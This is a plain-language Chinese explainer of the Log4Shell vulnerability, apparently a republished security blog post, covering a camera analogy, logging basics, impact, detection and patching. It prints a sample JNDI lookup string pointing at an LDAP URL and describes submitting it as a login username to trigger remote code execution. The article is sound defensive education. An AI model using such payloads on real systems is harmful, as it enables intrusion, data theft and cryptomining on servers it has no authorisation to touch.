2021年末資安界最大的新聞莫過於Log4j的漏洞,編號為CVE-2021-44228,又被稱為Log4Shell,甚至被一些人形容為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。
關於技術上的分析已經有很多篇文章在講解了,但對於不懂技術的人來說,可能只知道這個漏洞很嚴重,卻不知道為什麼嚴重,也不知道原理到底是什麼,因此我想從讓非技術背景的人也能理解的角度出發,寫一篇比較白話的文章。
從監視攝影機談起
我有個朋友叫小明,他家是開雜貨店的。就跟其他商店一樣,在店裡有一支監視攝影機,怕有什麼消費糾紛或是有人來搶劫或偷東西,因此讓攝影機24小時全程錄影,真的發生什麼事了,就會有證據留存下來。
但攝影機的鏡頭角度有限,不可能把整間店面的影像都拍下來,就算真的都拍下來了,要存的資料也會太多(除非小明很有錢,買了一堆攝影機)。因此,攝影機只會對準一些非常重要、值得記錄下來的地方,像是收銀台等等。
原本這支攝影機用了十幾年都沒什麼事情,畢竟不就是把影像記錄起來嗎,能有什麼事情?但最近卻突然有人發現一個攝影機的隱藏功能(嚴格來講不是隱藏功能,因為攝影機的說明書上其實有提到,可是大家都懶得看那一百多頁的說明書,所以很少人知道這個功能)
這個功能是什麼呢?那就是除了錄影以外,這台監視攝影機還有個智慧圖片辨識的功能,如果它看到特定的影像,會根據影像的內容去執行相對應的動作。舉例來說好了,這個圖片辨識功能需要把指令寫在100x100的板子上,一定要黑底白字加上特定格式,像這個樣子:
當攝影機看到上面的圖,符合特定格式,就執行了上面的指令:「關機」,就真的關機了!但關機還沒什麼,指令還可以寫說「把攝影機資料全都給我」之類的,再者,攝影機本來就會即時連線到其他伺服器,這個指令也可以對那些伺服器做操作,例如說把上面的資料全都偷下來等等。
總之呢,一旦讓攝影機拍到指定格式的東西,就會幫你執行指令。
這個功能被爆出來以後,血流成河,因為太多地方都有監視攝影機了,因此許多人都帶著這個板子去看看會不會觸發這個功能。攝影機有分型號,只有一台叫做log4j的攝影機會出事,其他不會,但要注意的事情是有些攝影機它雖然不叫做這名字,可其實是從log4j作為基底改出來的,就一樣會出事。
而有些東西儘管不是攝影機也會出事,例如說有台智慧冰箱,號稱內部有微型攝影機可以即時監控冰箱內部狀況,恰巧這個微型攝影機就是log4j這個型號的攝影機改版出來的,所以也有同樣的問題。
你想想看,如果監視攝影機出了這個問題,那全台灣、全世界這麼多人用這個型號的監視攝影機,當然會引起軒然大波,只要讓攝影機拍到特定的東西就會執行指令,這可嚴重了。
以上是對於log4j漏洞的簡單比喻,在這個故事中雜貨店就像是你的網站,而攝影機的功能就是拿來紀錄(log)對於網站的那些請求(request),整個故事只要記兩個重點就好:
- log4j是拿來記錄東西用的
- 漏洞原理是只要紀錄某些特定格式的文字,就會觸發一個功能可以執行程式碼
白話的簡易比喻到這邊先結束,想要更了解log4j,我們就必須先來看看什麼是log。
有關於log這件事
log的中文翻譯叫做日誌,我相信許多人對這個名詞並不陌生,如果你有跟工程師合作過,他在解決問題時可能會說:「我去看一下log」;或是如果你們跟合作廠商各執一詞,他說A你們說B,這時候就會說:「不然看一下log吧,看看是誰的問題」
當你跟公司的IT合作解決電腦上的小問題時,他也會跟你說要去某個地方複製log給他,他才知道發生了什麼事情。
log就像是一台24小時全年無休的監視攝影機一樣,需要記錄起重要事物的狀況。
那為什麼需要有log呢?這問題就像是「為什麼要有監視攝影機?」一樣,答案很簡單,因為出事的時候才有證據。就像行車記錄器一樣,裝了以後若不幸發生車禍,就可以協助判斷肇責。
舉個例子,假設我是A公司,我們公司是做購物網站的,而通常金流這一塊並不會自己做,而是會找其他做金流的廠商合作,在後端去「串接」金流服務商提供的功能,講白話一點就是:「當使用者要付款時,我把使用者導過去金流廠商的頁面,付款完再導回來我們網站」,相信有在網路上購物的大家應該很熟悉這個流程。
在這個過程中,雙方都必須留下紀錄,確保未來發生問題時有證據可以輔助說明。
例如說有天A公司突然接到一堆客訴說沒辦法付款,這時A公司直接打電話去金流商,罵說你們這什麼爛服務,怎麼突然壞掉,而金流商此時提供了伺服器的log,說:「沒有啊,我們這邊從今天早上八點開始就沒有你們導過來的紀錄了,應該是你們的問題吧?」,後來A公司檢查了自己這邊的服務,確實是因為今天早上的版本更新出了問題而導致,跟金流商一點關係都沒有。
這就是log的重要性,當出事的時候你才有證據可以盤查,才能盡可能還原當初的狀況。
做開發者的大家都知道log很重要,所以log基本上是必備的,以網站後端來說,他可能會在交易發生錯誤時留下一筆log,也有可能在發生非預期錯誤時寫下log,或是用log紀錄request中的一些欄位,比如說瀏覽器版本好了,給自己公司內部的數據分析系統來使用。
因此log是個十分常見的功能。這也是為什麼如果這個功能出事了,造成的後果會非常嚴重。
log4j是什麼?
在寫網站後端的程式碼時,會有不同的程式語言可以選擇,例如說Python、JavaScript、PHP或是Java等等,而這些程式語言都會有些專門做log的套件,簡單來說就是有人已經幫你把功能都寫好了,你只要用就好了。
而Java有一個很好用的log套件,就叫做log4j。而這個套件是隸屬於Apache軟體基金會底下,因此全名又叫做Apache Log4j。
Apache底下有很多不同的軟體跟套件,例如說:
Apache HTTP Server(大家最常看到的是這個)
Apache Cassandra
Apache Tomcat
Apache Hadoop
Apache Struts
...
所以Apache Server跟Apache log4j完全是不同的兩個東西,我知道你用Apache Server,跟你有沒有用log4j是兩件事情。
這次出問題的套件就是log4j,而出問題的原因跟我開頭講的一樣,有一個鮮為人知的功能有著安全性的漏洞,只要log4j在記錄log時記錄到某個特定格式的東西,就會去執行相對應的程式碼,就像開頭提的那個「關機」的板板一樣。
再講更詳細一點,其實並不是直接執行程式碼,那一段特定格式長得像這樣:${jndi:ldap://cymetrics.io/test}
先不要管那些你看不懂的字,你可以很明顯看到裡面有一段東西很像網址,對,它就是網址,當log4j紀錄上面那一串字的時候,它發現這串字符合特定格式,就會去裡面的網址(cymetrics.io/test)下載程式碼然後執行,因此這是一個RCE(Remote Code Execution,遠端程式碼執行)漏洞。
前面我有提過後端會記錄許多東西,假設今天有個後端服務是用Java寫的,而它用log4j記錄了使用者登入失敗時輸入的帳號,這時我只要用「${jndi:ldap://cymetrics.io/test}」這個帳號登入,就能夠觸發log4j的漏洞,讓它執行我準備好的程式碼。
只要能執行程式碼,我就可以做很多事情,例如說把伺服器上的資料偷走,或是安裝挖礦軟體幫我挖礦等等。
為什麼這個漏洞如此嚴重?
第一,log4j這個套件使用的人數極多,只要你有用Java,幾乎都會用這個套件來紀錄log。
第二,觸發方式容易,你只要在request的各個地方塞滿這些有問題的字串,server只要有記錄下來其中一個,就能夠觸發漏洞,而前面我們有提到紀錄log本來就是家常便飯的事情。
第三,能造成的影響極大,漏洞被觸發之後就是最嚴重的RCE,可以直接執行任意程式碼。
結合以上這三點,讓它成了一個核彈級的漏洞。到底有多嚴重,看看這些新聞標題就知道:
1.Apache Log4j 漏洞影響巨大,美國資安主管機關通令政府單位立即修復
2.微軟、蘋果都受波及!日誌框架Apache Log4j爆漏洞,堪稱近10年最大資安威脅
3.【Log4Shell漏洞資訊更新】Log4j 2.15.0修補不全、Apache再釋2.16.0新版,國家駭客已開始行動
還有一點差點忘了提,有許多其他的軟體也都用了log4j這個套件,因此也會有問題,國外有人整理出一份被影響的清單:Log4Shell log4j vulnerability (CVE-2021-44228 / CVE-2021-45046) - cheat-sheet reference guide,洋洋灑灑一大片,像是Minecraft這個遊戲的伺服器也有用到log4j,所以也被這個漏洞給影響。
該怎麼知道我有沒有被這個漏洞影響?
可以先確認自己家的程式有沒有用到log4j這個套件以及套件的版本,也需要一併檢查有沒有使用上面那張清單列出來的其他軟體。
如果你是工程師,也可以用一些現有的工具檢測是否受到漏洞影響,像是:log4j-scan或是jfrog提供的log4j-tools等等。
或如果真的不知道該如何處理,也可以聯絡我們,看我們可以怎樣幫助你。
該如何修補?
由瑞士CERT發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j中,有給了一張從各個環節去防禦的圖:
如果來不及把根本原因修掉,可以先上WAF(Web Application Firewall),簡單來說就是針對網站的防火牆,把那些惡意的字串擋掉,例如說Cloudflare就在第一時間增加了WAF的規則加以阻擋,不過也有很多人在研究怎麼繞過WAF的規則,因此這是治標不治本的做法。
治本的方法就是把log4j停用或是升版,升級到不會被這個漏洞影響的版本,但有些時候第一時間的改版可能沒有把漏洞完全補掉,因此記得更新完以後還是要密切注意是否有更新的版本。例如說在這篇文章寫完後過沒多久,官方就釋出了第三個patch修復其他相關問題:Apache Issues 3rd Patch to Fix New High-Severity Log4j Vulnerability
結語
一個很多人用的套件,加上一個很常見的功能,再加上一個很簡單的攻擊方式以及嚴重的後果,就成了一個可以被載入史冊的漏洞。
文中有些比喻為了不要講得太細節,會是精簡過後的版本,不一定能完全涵蓋本來的漏洞,在轉換成故事比喻的過程中一定會有一些遺漏的部分,但對於整體的理解我覺得影響不大。
如果你想了解更技術的細節以及時間軸,很推薦這一支影片:Hackers vs. Developers // CVE-2021-44228 Log4Shell,裡面講得很清楚,也探討了開發者與資安從業人員的關係。
最後,希望這篇文章能讓不懂技術的大家更了解log4shell是怎樣的漏洞,以及這個漏洞為什麼如此嚴重。文中若有錯誤也請不吝留言指正,感謝。
本文由Huli授權轉載自其Cymetric Tech Blog
《數位時代》長期徵稿,針對時事科技議題,需要您的獨特觀點,歡迎各類專業人士來稿一起交流。投稿請寄edit@bnext.com.tw,文長至少800字,請附上個人100字內簡介,文章若採用將經編輯潤飾,如需改標會與您討論。
(觀點文章呈現多元意見,不代表《數位時代》的立場)
責任編輯:吳佩臻、侯品如